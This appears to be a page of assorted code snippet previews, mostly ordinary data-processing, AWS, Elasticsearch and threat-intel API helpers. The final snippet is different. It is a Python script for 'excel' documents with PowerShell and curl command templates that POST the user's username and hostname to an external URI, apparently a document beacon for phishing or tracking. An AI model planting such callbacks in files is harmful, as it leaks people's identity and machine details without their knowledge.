Python script to convert mysqldump output to JSON file. Most of the code was borrowed from github.com/jamesmishra/mysqldump-to-csv
You'll want to update the 'parse_row' function to map each item in a row to a dictionary.
Python script to convert mysqldump output to JSON file. Most of the code was borrowed from github.com/jamesmishra/mysqldump-to-csv
You'll want to update the 'parse_row' function to map each item in a row to a dictionary.
/** A S I M P L E T W I T T E R B O T **/ | |
/** ======================================= **/ | |
// Config |
#!/bin/sh | |
# | |
# /etc/rc.d/init.d/supervisord | |
# | |
# Supervisor is a client/server system that | |
# allows its users to monitor and control a | |
# number of processes on UNIX-like operating | |
# systems. | |
# | |
# chkconfig: - 64 36 |
#!/usr/bin/env python | |
import boto3 | |
import requests | |
from aws_requests_auth.aws_auth import AWSRequestsAuth | |
profile_name = "default" | |
endpoint = "search-host-example.us-east-1.es.amazonaws.com" | |
region = "us-east-1" | |
session = boto3.session.Session(region_name=region, profile_name=profile_name) |
from operator import add | |
import concurrent | |
from concurrent.futures import ThreadPoolExecutor | |
from boto.s3.connection import S3Connection | |
from pyspark import SparkContext | |
def computeTargets(bucketName, prefix=""): | |
s3 = S3Connection() |
const LineByLineReader = require('line-by-line'); | |
// | |
// Read bulk whois data from file | |
// | |
const reader = new LineByLineReader('whois_dump.txt'); | |
let whoisdata = { | |
'organization': [], | |
'inetnum': [], |
"use strict"; | |
const elasticsearch = require('elasticsearch'); | |
const ElasticsearchScrollStream = require('elasticsearch-scroll-stream'); | |
const request = require('request-promise'); | |
const moment = require('moment'); | |
// update these values | |
const USER = 'username'; | |
const PASS = 'password'; |
"use strict"; | |
const elasticsearch = require('elasticsearch'); | |
const ElasticsearchScrollStream = require('elasticsearch-scroll-stream'); | |
const request = require('request-promise'); | |
const moment = require('moment'); | |
// change these values | |
const USER = 'username'; | |
const PASS = 'password'; |
from datetime import datetime | |
import base64 | |
import json | |
import requests | |
class Cymon(object): | |
def __init__(self, username, password, endpoint='https://api.cymon.io/v2'): | |
self.endpoint = endpoint | |
self.creds = {'username': username, 'password': password} | |
self.token = None |
#!/usr/bin/env python | |
import string | |
import random | |
type = "excel" | |
commands = { | |
"win32": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ", | |
"win64": "PowerShell.exe -nop $postParams=@{username=$env:username;hostname=$env:computername};Invoke-WebRequest -Method POST -Body $postParams -Uri ", | |
"mac": "curl -F username=$(whoami) -F hostname=$(hostname) -XPOST " |